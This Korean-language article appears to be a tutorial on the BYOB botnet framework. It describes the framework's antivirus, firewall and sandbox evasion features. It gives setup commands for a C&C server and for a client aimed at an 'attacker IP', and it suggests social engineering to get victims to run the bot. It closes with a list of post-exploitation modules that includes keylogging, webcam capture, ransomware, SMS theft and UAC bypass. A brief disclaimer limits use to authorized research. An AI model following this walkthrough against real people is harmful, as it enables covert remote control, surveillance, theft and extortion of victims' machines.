BYOB(Build Your Own Botnet)는 보안 연구자와 개발자가 기본적인 봇넷을 직접 구축하고 운영해 볼 수 있는 오픈소스 프레임워크입니다. 매년 수백만 대의 기기를 감염시키고 현대적인 봇넷을 만들어내는 정교한 악성코드의 동작 원리를 깊이 이해함으로써, 이러한 위협에 대응하는 방어 기법을 개발하는 역량을 높이는 것이 핵심 목적입니다.
RAT(Remote Administration Tool)나 C&C(Command & Control) 서버를 처음부터 직접 작성할 필요 없이, 개발자가 자신만의 코드를 손쉽게 구현하고 새로운 기능을 추가할 수 있도록 설계되어 있습니다.
⚠️ 참고: 본 도구는 반드시 법적으로 허용된 실험 환경(자체 연구 환경, 허가를 받은 침투 테스트 등)에서만 사용해야 하며, 무단으로 타인의 시스템에 사용하는 것은 명백한 불법 행위입니다.
주요 기능
디스크에 아무것도 기록하지 않음 − 원격 임포트(remote import)를 통해 임의의 코드를 메모리에 동적으로 로드하여 현재 실행 중인 프로세스에 직접 불러올 수 있습니다. 그 결과 클라이언트는 임시 파일조차 디스크에 남기지 않습니다.
플랫폼 독립적 − 모든 코드가 Python으로 작성되어 있으며, 생성된 클라이언트는 필요에 따라 휴대용 실행 파일(Windows)로 컴파일하거나 단독 실행형 애플리케이션으로 번들링할 수 있습니다.
방화벽 우회 − 클라이언트는 역방향 TCP(reverse TCP) 연결을 통해 C&C 서버에 접속합니다. 기본 방화벽 필터 설정은 대부분 인바운드 연결 위주로 차단하기 때문에 이러한 방식은 대부분의 방화벽을 통과할 수 있습니다.
백신 대응 − 알려진 백신 제품의 프로세스 이름을 가진 프로세스가 생성되지 않도록 차단하여 백신에 의한 분석을 회피합니다.
페이로드 암호화로 분석 방지 − 메인 클라이언트 페이로드는 무작위 256비트 키로 암호화되며, 이 키는 해당 페이로드와 함께 생성되는 스테이저(stager)에만 존재합니다.
리버스 엔지니어링 방지 − 기본 설정상 클라이언트는 가상 머신(VM)이나 샌드박스 환경이 탐지되면 즉시 실행을 중단합니다.
설치 방법
git clone https://github.com/malwaredllc/byob.git
cd byob
pip install -r requirements.txt
python setup.py
이후 두 개의 터미널을 사용합니다. 첫 번째 터미널은 세션을 처리하는 봇 서버(Bot Server) 역할을 하고, 두 번째 터미널은 봇을 생성하는 봇 클라이언트(Bot Client) 역할을 담당합니다.python server.py --port 445
그다음 새로운 리눅스 터미널을 열고 다음 경로로 이동합니다.
cd /home/cybersecurity/Downloads/byob/byobpython client.py --name testbot.py 192.168.1.10(공격자 IP) 445
위 명령을 실행하면 새로운 봇넷이 생성됩니다. 이후 사회공학(social engineering) 기법 등을 통해 대상자가 자신의 컴퓨터에서 봇 파일을 실행하도록 유도할 수 있습니다. 대상 머신에서 testbot.py가 실행되면 봇넷 서버에 새로운 세션이 생성되며, 공격자(연구자)는 해당 세션을 통해 원격으로 조작할 수 있게 됩니다.
포스트 익스플로잇(Post-Exploitation) 모듈
봇넷이 피해 시스템에 성공적으로 구축된 후, 클라이언트가 원격으로 임포트하여 사용할 수 있는 다양한 포스트 익스플로잇 모듈이 제공됩니다.
키로거 (byob.modules.keylogger): 사용자의 키 입력 내역과 입력이 발생한 창(window) 이름을 기록합니다.
스크린샷 (byob.modules.screenshot): 현재 사용자의 데스크톱 화면을 캡처합니다.
웹캠 (byob.modules.webcam): 웹캠의 실시간 스트림을 확인하거나 이미지·동영상을 캡처합니다.
랜섬 (byob.modules.ransom): 파일을 암호화하고 몸값 지불용 무작위 BTC 지갑을 생성합니다.
패킷 스니퍼 (byob.modules.packetsniffer): 호스트 네트워크에서 패킷 스니핑을 수행하고 .pcap 파일을 업로드합니다.
지속성 (byob.modules.persistence): 호스트 머신에 지속성(persistence)을 확보하여 재부팅 후에도 유지되도록 합니다.
폰 (byob.modules.phone): 클라이언트 스마트폰의 문자메시지를 읽고 검색·업로드합니다.
권한 상승 (byob.modules.escalate): UAC 우회를 시도하여 무단으로 관리자 권한을 획득합니다.
포트 스캐너 (byob.modules.portscanner): 로컬 네트워크 내 다른 온라인 장치와 열려 있는 포트를 스캔합니다.
프로세스 제어 (byob.modules.process): 호스트에서 실행 중인 프로세스를 조회·검색·종료·모니터링합니다.